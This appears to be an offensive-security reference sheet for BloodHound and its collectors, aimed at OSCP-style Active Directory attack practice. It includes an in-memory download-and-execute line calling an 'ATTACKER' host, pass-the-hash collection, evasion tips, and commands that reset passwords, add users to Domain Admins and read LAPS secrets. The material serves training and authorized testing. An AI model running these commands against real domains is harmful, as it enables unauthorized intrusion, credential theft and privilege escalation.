BloodHound & SharpHound — Complete Reference

Collector-only workflow: see SharpHound (EXE/PS1 on Windows) · RustHound (Rust binary) · Linux: bloodhound-python below.

What is BloodHound?

BloodHound uses graph theory to map Active Directory relationships and reveal hidden attack paths to Domain Admin (and beyond). It ingests data collected by SharpHound (Windows), RustHound (Rust), bloodhound-python (Linux), or bloodyAD get bloodhound (basic CE) and visualizes it as a graph in a Neo4j-backed UI.

Core concept: Every AD object (user, computer, group, GPO) is a node. Every relationship (MemberOf, AdminTo, HasSession, etc.) is an edge. BloodHound finds the shortest path between any two nodes — including “your owned user → Domain Admin”.


Architecture

SharpHound / RustHound / bloodhound-python / bloodyAD get bloodhound
        ↓  (JSON files)
   BloodHound UI  ←→  Neo4j database
        ↓
   Attack path graphs + pre-built queries
        ↓
   ACL abuse → [[bloodyAD]] add dcsync / genericAll / rbcd

📌 1) Setup & Installation

BloodHound CE runs via Docker Compose. The bloodhound-cli binary lives in the repo and manages the stack.

# Clone official repo
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose
 
# Start stack (Docker must be running)
docker compose up -d
# OR use the CLI wrapper (same directory):
sudo ./bloodhound-cli up
 
# Open UI
# http://localhost:8080

Docker not running?

sudo systemctl start docker
sudo systemctl enable docker
docker ps

Forgot the admin password?

The initial password is auto-generated and may scroll off screen — no reinstall needed.

Option 1 — retrieve generated password (official):

cd BloodHound/examples/docker-compose
sudo ./bloodhound-cli config get default_password

Option 2 — reset admin password:

cd BloodHound/examples/docker-compose
sudo ./bloodhound-cli resetpwd
# Prints new password for user `admin`

Other useful bloodhound-cli commands (run from docker-compose directory with sudo ./bloodhound-cli):

sudo ./bloodhound-cli up              # Start services
sudo ./bloodhound-cli down            # Stop services
sudo ./bloodhound-cli restart         # Restart stack
sudo ./bloodhound-cli logs            # View logs
sudo ./bloodhound-cli config list     # Show config keys

Login at http://localhost:8080 → user: admin → password from config get default_password or resetpwd.

Reset / delete Bloodhound data

### 1. Stop the containers
 
sudo docker stop bloodhound-bloodhound-1 bloodhound-app-db-1 bloodhound-graph-db-1
 
 
### 2. Remove the containers
 
sudo docker rm bloodhound-bloodhound-1 bloodhound-app-db-1 bloodhound-graph-db-1
 
 
### 3. Remove the BloodHound volumes
 
 
sudo docker volume rm bloodhound_neo4j-data bloodhound_postgres-data
 

BloodHound Legacy (older, still common on OSCP)

# Install Neo4j
sudo apt install neo4j
sudo neo4j start
# First time: go to http://localhost:7474
# Default: neo4j / neo4j → change password
 
# Download BloodHound binary
# https://github.com/BloodHoundAD/BloodHound/releases
# Extract and run
./BloodHound --no-sandbox
 
# Connect to Neo4j: bolt://localhost:7687
# User: neo4j / Password: (what you set)

Kali — Install everything at once

sudo apt update && sudo apt install -y bloodhound
sudo neo4j console &        # Start Neo4j
bloodhound &                # Launch BloodHound GUI

📌 2) SharpHound — Data Collection (Windows)

SharpHound is the official collector. It queries AD via LDAP and SMB and outputs ZIP files of JSON data ready to import into BloodHound.

Basic Collection

# Download and run
.\SharpHound.exe
 
# Default — collects Default collection method
.\SharpHound.exe -c Default
 
# Collect everything (thorough but noisy)
.\SharpHound.exe -c All
 
# Most useful for OSCP — sessions + ACLs + local admin
.\SharpHound.exe -c All,GPOLocalGroup

All Collection Methods (-c)

MethodWhat it collects
DefaultGroups, Trusts, LocalAdmin, Sessions, ObjectProps, ACL, RDP, DCOM, PSRemote
AllEverything (most complete)
GroupGroup memberships
LocalAdminLocal admin rights on machines (SMB)
SessionWho is logged in where (NetSessionEnum)
TrustsDomain trust relationships
ACLACL/permissions on AD objects
ObjectPropsObject properties (descriptions, etc.)
RDPRemote Desktop rights
DCOMDistributed COM execution rights
PSRemotePowerShell Remoting rights
GPOLocalGroupLocal group memberships via GPO
LoggedOnCurrently logged on users (requires local admin)
ComputerComputer properties
ContainerOU/container structures

All Flags

FlagDescription
-c <methods>Collection methods (comma-separated)
-d <domain>Target domain
--domaincontroller <DC>Target a specific DC
-sUse stealth mode (LDAP only, no SMB)
--stealthSame as -s — no SMB/local enum
--ldapusername <user>LDAP username to auth with
--ldappassword <pass>LDAP password
-o <dir>Output directory
--zipfilename <name>Name of output ZIP
--nozipDon’t zip — leave JSON files unzipped
--randomfilenamesRandomize output filenames
--outputprefix <prefix>Prefix for output files
--loopLoop collection continuously
--loopduration <HH:MM:SS>Run time for loop mode
--loopinterval <seconds>Interval between loops
--throttle <ms>Throttle between queries (stealth)
--jitter <percent>Add jitter to throttle
--skipdcregistrySkip reading DC registry
--excldomain <domain>Exclude a domain from collection
--computerfile <file>Only collect from computers in this file
-vVerbose output
--statusinterval <ms>Status update interval

Stealthy Collection

# LDAP only — no SMB, much quieter
.\SharpHound.exe -c DCOnly
 
# Throttle requests and add jitter
.\SharpHound.exe -c Default --throttle 1000 --jitter 20
 
# Skip session collection (most noisy part)
.\SharpHound.exe -c Group,LocalAdmin,ObjectProps,ACL,Trusts
 
# Target specific domain controller
.\SharpHound.exe -c All --domaincontroller DC01.corp.local
 
# Custom output location
.\SharpHound.exe -c All -o C:\Temp\ --zipfilename loot

Run SharpHound from PowerShell (In-Memory)

# Load and run in memory — no EXE on disk
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
 
# With output path
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -OutputPrefix "corp"
 
# Stealthy — LDAP only, throttled
Invoke-BloodHound -CollectionMethod DCOnly --Throttle 1000 --Jitter 20
 
# Loop mode (collect sessions repeatedly to find DA sessions)
Invoke-BloodHound -CollectionMethod Session -Loop -LoopDuration 02:00:00 -LoopInterval 00:05:00

Run with Alternate Credentials

# If you have creds but running from a non-domain machine
.\SharpHound.exe -c All --ldapusername jsmith --ldappassword 'Password1' -d corp.local --domaincontroller 10.10.10.10

📌 3) bloodhound-python — Data Collection (Linux)

No Windows machine needed. Runs entirely from Kali using valid domain credentials.

# Install
pip3 install bloodhound
 
# Basic collection (most common)
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
 
# With hash (pass-the-hash)
bloodhound-python -u user --hashes :NTLM_HASH -d corp.local -ns 10.10.10.10 -c All
 
# Target a specific DC
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 --dc DC01.corp.local -c All
 
# DCOnly — faster, LDAP only, no SMB noise
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c DCOnly
 
# Save to directory
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All -o ./bloodhound-data/
 
# With ZIP output
bloodhound-python -u user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All --zip

bloodhound-python Flags

FlagDescription
-u <user>Username
-p <pass>Password
--hashes <lm:nt>Pass-the-hash
-d <domain>Domain name
-ns <IP>DNS server (usually the DC IP)
--dc <hostname>Specific DC to target
-c <methods>Collection methods (All, DCOnly, Session, etc.)
-o <dir>Output directory
--zipCreate a ZIP file
--dns-tcpUse TCP for DNS (useful if UDP blocked)
-vVerbose
--disable-poolingDisable multiprocessing (debugging)

📌 3b) RustHound — Data Collection (Rust)

Cross-platform binary alternative to bloodhound-python. See full reference: RustHound.

# BloodHound CE
rusthound-ce -d corp.local -u user@corp.local -p 'Password1' -i DC_IP -o ./out -z
 
# BloodHound Legacy (+ optional ADCS)
rusthound -d corp.local -u user@corp.local -p 'Password1' -i DC_IP --adcs -o ./out -z
vs bloodhound-pythonWhen to use RustHound
Same jobPrefer single static binary, --adcs on legacy, or pip issues

📌 4) Importing Data into BloodHound

BloodHound Legacy

  1. Open BloodHound GUI
  2. Log in to Neo4j
  3. Click Upload Data button (top-right, looks like an upload icon)
  4. Select the ZIP file (or individual JSON files)
  5. Wait for import to complete
  6. Start querying

BloodHound CE

  1. Open http://localhost:8080
  2. Log in
  3. Go to File Ingest in the left sidebar
  4. Upload ZIP or individual JSON files

📌 5) Node Types

NodeDescription
UserDomain user account
ComputerDomain-joined machine
GroupSecurity group
DomainThe AD domain itself
GPOGroup Policy Object
OUOrganizational Unit
ContainerAD container

📌 6) Edge Types (Relationships)

Membership / Access

EdgeMeaning
MemberOfUser/Computer is a member of a group
AdminToUser/Group has local admin on a computer
CanRDPCan Remote Desktop to a computer
CanPSRemoteCan PowerShell Remote (WinRM) to a computer
ExecuteDCOMCan execute code via DCOM
HasSessionA user has an active session on a computer — see HasSession
AllowedToDelegateConstrained delegation configured
AllowedToActResource-Based Constrained Delegation (RBCD)
TrustedByDomain trust relationship

ACL / Permission Edges (Abuse Paths)

EdgeWhat You Can DoDeep dive
GenericAllFull control — reset password, add to group, modify objectGenericAll
GenericWriteShadow creds, SPN, RBCD, AS-REP flagsGenericWrite
WriteOwnerBecome owner → grant yourself rightsWriteOwner
WriteDACLModify DACL → grant GenericAll / DCSyncWriteDacl
ForceChangePasswordReset password without knowing currentForceChangePassword
AddMemberAdd users to a groupAddMember
AllExtendedRightsExtended rights bundle (incl. force password)AllExtendedRights
Write on cert templateModify template → ESC4AD CS Permissions · ESC4
ManageCA / ManageCertificatesIssue/approve certs → ESC7AD CS Permissions · ESC7
AddSelfAdd yourself to a groupAddMember
OwnsAlready owner → grant rightsWriteOwner
DCSyncDump all domain hashes via replicationDCSync
GetChanges / GetChangesAllTogether = DCSync rightsDCSync
ReadLAPSPasswordRead LAPS local admin passwordWindows PrivEsc
ReadGMSAPasswordRead gMSA passwordgMSADumper
HasSIDHistorySID history abuse
SQLAdminHas sysadmin rights on a SQL server
WriteAccountRestrictionsRBCD setup (write msDS-AllowedToActOnBehalfOfOtherIdentity)

📌 7) Pre-Built Queries (UI)

Click Analysis tab in BloodHound to run these:

Find Attack Paths

QueryUse
Find All Domain AdminsSee DA group membership
Find Shortest Paths to Domain AdminsMost important — shows how to get to DA
Find Shortest Paths to Domain Admins from Owned PrincipalsAfter marking creds as owned
Find Principals with DCSync RightsWho can DCSync
Find Computers with Unsupported OSesEasy targets (old Windows)
Find AS-REP Roastable UsersNo pre-auth required
Find Kerberoastable UsersAccounts with SPNs
Find Computers where Domain Users can RDPEasy lateral movement targets
Find Computers with Local Admin RightsSpread of admin rights
Find All Paths from Domain Users to High Value TargetsBroad attack surface

📌 8) Custom Cypher Queries

Run in the Raw Query bar at the bottom of BloodHound.

High-Value Targets & Paths

// All Domain Admins
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
RETURN u.name
 
// Shortest path from any owned node to DA
MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p
 
// All paths from a specific user to DA (any length)
MATCH p=allShortestPaths((u:User {name:"JSMITH@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p

Kerberoastable / AS-REP Roastable

// Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
 
// Kerberoastable users that are admins somewhere
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
 
// AS-REP roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
 
// AS-REP roastable with path to DA
MATCH p=shortestPath((u:User {dontreqpreauth:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p

ACL Abuse Paths

// Users with GenericAll on any group
MATCH (u:User)-[:GenericAll]->(g:Group) RETURN u.name, g.name
 
// Any node with WriteDACL over DA group
MATCH (n)-[:WriteDACL]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN n.name
 
// Any node with DCSync rights
MATCH (n)-[:DCSync]->(d:Domain) RETURN n.name
 
// Everyone who can read LAPS passwords
MATCH (n)-[:ReadLAPSPassword]->(c:Computer) RETURN n.name, c.name

Sessions / Lateral Movement

// Find where Domain Admins have sessions
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name
 
// Computers reachable from a specific user via HasSession + AdminTo
MATCH p=(u:User {name:"JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)
WHERE da.admincount=true
RETURN p
 
// Computers any domain user can RDP to
MATCH (g:Group {name:"DOMAIN USERS@CORP.LOCAL"})-[:CanRDP]->(c:Computer) RETURN c.name

Owned Node Tracking

// Mark a user as owned (after getting their creds)
MATCH (u:User {name:"JSMITH@CORP.LOCAL"}) SET u.owned=true
 
// Mark a computer as owned
MATCH (c:Computer {name:"WEB01.CORP.LOCAL"}) SET c.owned=true
 
// Show all owned nodes
MATCH (n {owned:true}) RETURN n.name
 
// Find paths from all owned nodes to DA
MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
WHERE o <> g
RETURN p

Misc Useful Queries

// All computers with local admin for a user
MATCH (u:User {name:"JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer) RETURN c.name
 
// Find users with description fields (often contain passwords)
MATCH (u:User) WHERE u.description IS NOT NULL RETURN u.name, u.description
 
// Find accounts that haven't changed password in 90+ days
MATCH (u:User) WHERE u.pwdlastset < (timestamp()/1000 - 7776000) RETURN u.name, u.pwdlastset
 
// Find disabled accounts with active sessions (stale creds)
MATCH (u:User {enabled:false})-[:HasSession]->(c:Computer) RETURN u.name, c.name
 
// High-value nodes not yet owned
MATCH (n {highvalue:true, owned:false}) RETURN n.name, labels(n)

📌 9) ACL Abuse — How to Exploit Common Edges

GenericAll / GenericWrite on a User

GenericAll · GenericWrite

# Force password reset
net user victim 'NewPassword1!' /domain
 
# Or with PowerView
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass1!' -AsPlainText -Force)
 
# Set SPN (then Kerberoast)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/spn'}

GenericAll / AddMember on a Group

AddMember · GenericAll

# Add yourself to a privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members "jsmith"
net group "Domain Admins" jsmith /add /domain

ForceChangePassword

ForceChangePassword

Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'Hacked123!' -AsPlainText -Force)

WriteDACL

→ Full decision tree (Domain vs user/group): WriteDacl

# Grant yourself GenericAll on the object
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All

WriteOwner

WriteOwner

# Become the owner first
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity jsmith
# Then grant yourself rights
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All

ReadLAPSPassword

# Read the LAPS local admin password for a computer
Get-DomainComputer -Identity WEB01 -Properties ms-mcs-admpwd
Get-ADComputer WEB01 -Properties ms-mcs-admpwd | Select-Object Name, ms-mcs-admpwd

📌 10) OPSEC / Stealth Tips

ConcernMitigation
SMB-based session collection is noisyUse -c DCOnly or skip Session method
SharpHound on diskUse Invoke-BloodHound (in-memory PowerShell)
LDAP queries loggedUse throttle + jitter: --throttle 1000 --jitter 20
Filename detectionUse --randomfilenames or rename SharpHound.exe
Running from non-domain machineUse bloodhound-python, RustHound, or bloodyAD get bloodhound from Kali
Loop collection (for sessions)Use short intervals in off-hours

📌 Quick OSCP Workflow

# ─── FROM LINUX (just creds needed) ────────────────────────────
 
# Collect all data
bloodhound-python -u user -p 'Password1' -d corp.local -ns DC_IP -c All --zip
 
# Start BloodHound
sudo neo4j start
bloodhound &
 
# Upload the ZIP, then:
 
# ─── KEY QUESTIONS TO ANSWER IN BLOODHOUND ─────────────────────
 
# 1. Who are the Domain Admins?
#    Analysis → Find All Domain Admins
 
# 2. What's the shortest path to DA from my owned user?
#    Mark your user as owned → Analysis → Find Shortest Paths from Owned Principals to Domain Admins
 
# 3. Are there Kerberoastable accounts?
#    Analysis → Find Kerberoastable Users
 
# 4. Are there AS-REP Roastable accounts?
#    Analysis → Find AS-REP Roastable Users
 
# 5. Where do DAs have sessions?
#    Find All Domain Admin Sessions
 
# 6. Check node descriptions for passwords
#    Raw query: MATCH (u:User) WHERE u.description IS NOT NULL RETURN u.name, u.description
 
# ─── MARK PROGRESS ─────────────────────────────────────────────
# Right-click any node → Mark as Owned (after compromising it)
# Right-click any node → Mark as High Value (custom targets)